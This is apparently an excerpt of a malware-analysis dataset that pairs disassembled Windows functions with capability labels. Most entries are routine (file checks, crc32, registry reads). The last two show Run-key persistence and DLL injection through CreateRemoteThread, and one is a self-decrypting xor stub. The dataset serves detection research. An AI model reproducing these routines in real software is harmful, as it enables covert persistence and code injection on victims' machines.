joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10041c7d
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100625cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x24]
test eax, eax
je 0x10041dc9
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], 0x2f28
mov dword [ebp - 0x2c], 0x1000b470
cmp dword [ebp - 0x24], 0x31dc
jle 0x10041d62
and dword [ebp - 0x18], 0
jmp 0x10041ceb
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x43e7
jge 0x10041d62
and dword [ebp - 0x1c], 0
jmp 0x10041d01
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x33b5
jge 0x10041d60
and dword [ebp - 0x20], 0
jmp 0x10041d17
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x27bd
jge 0x10041d5e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
sar eax, cl
or eax, dword [ebp - 0x20]
cdq
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
push dword [ebp - 0x54]
push dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
call fcn.1000d0ee
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
call fcn.1001271a
push eax
call fcn.1004c14f
pop ecx
lea ecx, [ebp - 0x70]
call fcn.10012710
jmp 0x10041d10
jmp 0x10041cfa
jmp 0x10041ce4
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x38], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x2bb4
jge 0x10041d7e
push dword [ebp - 0x2c]
call fcn.1004c14f
pop ecx
jmp 0x10041d9a
or dword [ebp - 4], 0xffffffff
jmp 0x10041da4
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push 0x97f
push 0x200e
push dword [ebp - 0x38]
push 1
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
call fcn.10041e1d
add esp, 0x20
jmp 0x10041e0c
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [eax]
test eax, eax
je 0x10041df8
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax]
and dword [eax + 0xc], 0
jmp 0x10041e0c
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
je 0x10041e0c
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1005d8d5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10067750]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1004fa68
mov dword [ebp - 0x14], eax
cmp dword [0x1060adfc], esi
jne 0x1005d9c8
push 0x800
push esi
push 0x10007510
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1005d955
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1005daa8
push esi
push esi
push 0x10007510
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1005daa8
push 0x10007528
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1005daa8
push eax
call ebx
push 0x10007534
push edi
mov dword [0x1060adfc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007544
push edi
mov dword [0x1060ae00], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007558
push edi
mov dword [0x1060ae04], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1060ae0c], eax
test eax, eax
je 0x1005d9c5
push 0x10007574
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1060ae08], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1005d9ed
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1005d9e0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1005da02
push 4
pop eax
jmp 0x1005daaa
cmp dword [ebp - 0x14], esi
je 0x1005da02
push dword [0x1060adfc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1005d9e7
mov eax, dword [0x1060ae08]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1005da60
cmp dword [0x1060ae0c], edi
je 0x1005da60
push eax
call ebx
push dword [0x1060ae0c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1005da60
test eax, eax
je 0x1005da60
call ecx
test eax, eax
je 0x1005da55
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1005da55
test byte [ebp - 8], 1
jne 0x1005da60
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1005da90
mov eax, dword [0x1060ae00]
cmp eax, edi
je 0x1005da8d
push eax
call ebx
test eax, eax
je 0x1005da8d
call eax
mov esi, eax
test esi, esi
je 0x1005da8d
mov eax, dword [0x1060ae04]
cmp eax, edi
je 0x1005da8d
push eax
call ebx
test eax, eax
je 0x1005da8d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1060adfc]
call ebx
test eax, eax
je 0x1005daa8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1005daaa
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004cf73
mov esp, ebp
pop ebp
ret
Function at 0x8de5b8
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de5be
pop ebp
sub ebp, 6
sub ebp, 0x4de5b8
jmp 0x8de61c
jmp 0x8de625
mov eax, 0x4de5b8
add eax, ebp
add eax, 0x93
mov ecx, 0x63c
mov edx, 0xa270e01d
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de63c
jmp 0x8de64f
ja 0x8de6ae
jne 0x8de670
or eax, 0x1d751d1d
sal dword [ecx], 1
sbb eax, 0x6523ed9c
jp 0x8de66f
pushfd
in eax, dx
and esp, dword [ebp + 0x7a]
push cs
fisttp qword cs:[ebp - 0x1e]
mov byte [ecx], ah
cmp al, 0x59
sbb eax, 0x96d0964d
xchg esp, eax
and dword [0xdc9c1d1d], ebx
in eax, 0x1d
dec ebp
xchg esi, eax
rcl byte [esi + 0x1d1d2194]
sbb eax, 0x1de5dc9c
sbb eax, 0xa5d01e1d
sbb ebx, dword [0x35a71d1d]
sbb eax, 0xffea1d1d
push ds
aad 0x96
pushfd
adc dword [0xd81e1d1d], ebx
dec ebp
jne 0x8de702
daa
adc al, 0x1d
jne 0x8de6fe
mov dh, 0x59
sbb eax, 0x7539311c
sbb eax, 0xf51d1d1d
sbb byte [0x35f41d1d], bl
sbb eax, 0x49481d1d
inc eax
xchg esi, eax
sbb eax, 0x1d1d35f4
sbb eax, 0x96404948
cwde
adc eax, 0x961d1d1d
mov byte [ecx], dl
sbb eax, 0x90961d1d
or eax, 0xdc1d1d1d
hlt
cmp dword [0xe21168e2], ebx
adc edx, esp
push 0x1d6ff515
sbb eax, 0x15a0961d
sbb eax, 0xd42e1d1d
pushfd
out dx, eax
lahf
int1
aas
pushfd
out dx, eax
lahf
int1
aas
iretd
Function at 0x403284
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.004050b4
test esi, esi
jne 0x4032bc
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004051f0
jmp 0x4032da
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004031c8
mov edi, eax
test esi, esi
je 0x4032da
cmp dword [ebx], 0
je 0x4032da
dec esi
jmp 0x4032c3
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x4038c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x41a020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403958
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x403938
xor eax, eax
push ebp
push 0x403931
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403990
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403938
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x41a020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x41a020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4047dc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x41b04c], 0
je 0x40483d
cmp word [0x41b328], 0xd7b2
jne 0x404805
cmp dword [0x41b330], 0
jbe 0x404805
mov eax, 0x41b324
call dword [0x41b340]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404868
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41a02c], 0
jne 0x404859
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406814
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x408518
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x4085c1
test eax, edx
je 0x4085c4
push 0
push 0
cmp word [eax - 0xa], 2
je 0x408541
push edx
mov edx, eax
mov eax, esp
call fcn.00405288
pop edx
mov eax, dword [esp]
cmp word [edx - 0xa], 2
je 0x408557
push eax
lea eax, [esp + 8]
call fcn.00405288
pop eax
mov edx, dword [esp + 4]
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x408566
movzx eax, word [eax]
sub eax, ecx
jmp 0x40858d
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x4085a7
add ecx, 4
js 0x40857e
pop eax
pop ebx
mov ecx, esp
mov edx, dword [ecx]
or edx, dword [ecx + 4]
je 0x4085a4
push eax
mov eax, ecx
mov edx, 2
call fcn.004049a8
pop eax
pop edx
pop edx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x40858b
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x40858d
xor eax, eax
ret
test eax, eax
je 0x4085d4
test edx, edx
jne 0x408528
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x408fa8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.00405140
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x408fc6
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 2
je 0x408fe7
cmp ebx, 3
je 0x408fe7
cmp ebx, 0x7b
je 0x408fe7
mov eax, esi
call fcn.00408f68
test al, al
jne 0x408feb
xor eax, eax
jmp 0x408fed
mov al, 1
pop esi
pop ebx
ret

Function at 0x40c33c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40c375
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.004051f0
jmp 0x40c37e
mov eax, ebx
mov edx, esi
call fcn.004050b4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c388
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40c3aa
movzx eax, word [esp]
jmp 0x40c3ac
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40cb10
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffff004
push eax
add esp, 0xffffff7c
push 0x800
lea ecx, [esp + 0x88]
call fcn.0040c948
mov eax, dword [0x41ad1c]
cmp byte [eax], 0
je 0x40cba2
mov eax, dword [0x41ac10]
call fcn.00403348
call fcn.00403078
lea eax, [esp + 0x884]
push eax
lea eax, [esp + 0x88]
push eax
call sub.user32.dll_CharToOemW
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x88c]
call fcn.004091f8
push eax
lea eax, [esp + 0x890]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40cbf0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40cbdb
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x41abe4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x41db18]
call fcn.00405eac
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x8c]
push eax
push 0
call sub.user32.dll_MessageBoxW
add esp, 0x1084
ret

Function at 0x40e4b4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00404c44
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x40e45e
mov eax, edi
add eax, eax
call fcn.00402f10
mov esi, eax
jmp 0x40e460
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x40e499
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x40e483
mov eax, esp
cmp esi, eax
je 0x40e4a6
mov eax, esi
call fcn.00402f2c
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x40e4e0
cmp bl, 0
je 0x40e4dc
cmp bl, 0x41
jl 0x40e4d7
cmp bl, 0x5a
jg 0x40e4d7
or bl, 0x20
xor al, bl
inc esi
jmp 0x40e4bb
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x40e420
Function at 0x4317d0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x4317f5
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x431868
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x43182a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x43185d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x43185b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x431821
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x4317ec
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x401007
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x82c
cmp dword [0x47a90c], 0x594
push ebx
mov ebx, dword [eax]
push esi
push edi
mov edi, dword [eax + 4]
jne 0x401038
push 0
lea eax, [ebp - 0x82c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x46b5b8]
and dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], eax
mov eax, dword [0x46b5bc]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xc]
call fcn.00401000
mov eax, dword [0x46b5c0]
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [0x46b5c4]
add esi, 0x23f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, ebx
shl eax, 4
cmp dword [0x47a90c], 0xc
mov dword [ebp - 4], eax
jne 0x4010b1
push 0
lea eax, [ebp - 0x82c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor eax, eax
push eax
lea ecx, [ebp - 0x2c]
push ecx
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x47a90c]
cmp eax, 0xfa9
jne 0x4010cd
mov dword [0x47a908], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010eb
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
and dword [0x47a860], 0
mov ecx, dword [ebp - 8]
and dword [ebp - 0x14], 0
mov edx, ebx
lea eax, [esi + ebx]
shr edx, cl
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [0x47a904], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor eax, edx
sub edi, eax
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
mov edx, edi
shr edx, cl
lea eax, [esi + edi]
mov dword [ebp - 0xc], eax
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
xor dword [ebp - 4], eax
xor dword [ebp - 4], edx
sub ebx, dword [ebp - 4]
add esi, 0x61c88647
dec dword [ebp - 0x18]
jne 0x401074
mov eax, dword [ebp + 8]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], ebx
pop ebx
leave
ret 4
Function at 0x40477d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46a680]
jne 0x404787
repz ret
jmp fcn.0040928e

Function at 0x40bffd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004030d2
and dword [ebp - 4], 0
cmp dword [0x46fc34], 0
mov ebx, eax
jne 0x40c0ae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c15f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40c15f
push eax
call fcn.00403060
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x46fc34], eax
call esi
push eax
call fcn.00403060
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x46fc38], eax
call esi
push eax
call fcn.00403060
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x46fc3c], eax
call esi
push eax
call fcn.00403060
pop ecx
mov dword [0x46fc44], eax
test eax, eax
je 0x40c0ae
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403060
pop ecx
mov dword [0x46fc40], eax
mov eax, dword [0x46fc40]
cmp eax, ebx
je 0x40c106
cmp dword [0x46fc44], ebx
je 0x40c106
push eax
call fcn.004030db
push dword [0x46fc44]
mov esi, eax
call fcn.004030db
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40c106
test edi, edi
je 0x40c106
call esi
test eax, eax
je 0x40c0fd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40c0fd
test byte [ebp - 0xc], 1
jne 0x40c106
or dword [ebp + 0x10], 0x200000
jmp 0x40c13f
mov eax, dword [0x46fc38]
cmp eax, ebx
je 0x40c13f
push eax
call fcn.004030db
pop ecx
test eax, eax
je 0x40c13f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40c13f
mov eax, dword [0x46fc3c]
cmp eax, ebx
je 0x40c13f
push eax
call fcn.004030db
pop ecx
test eax, eax
je 0x40c13f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46fc34]
call fcn.004030db
pop ecx
test eax, eax
je 0x40c15f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40c161
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x643413a5
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x643414bd
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret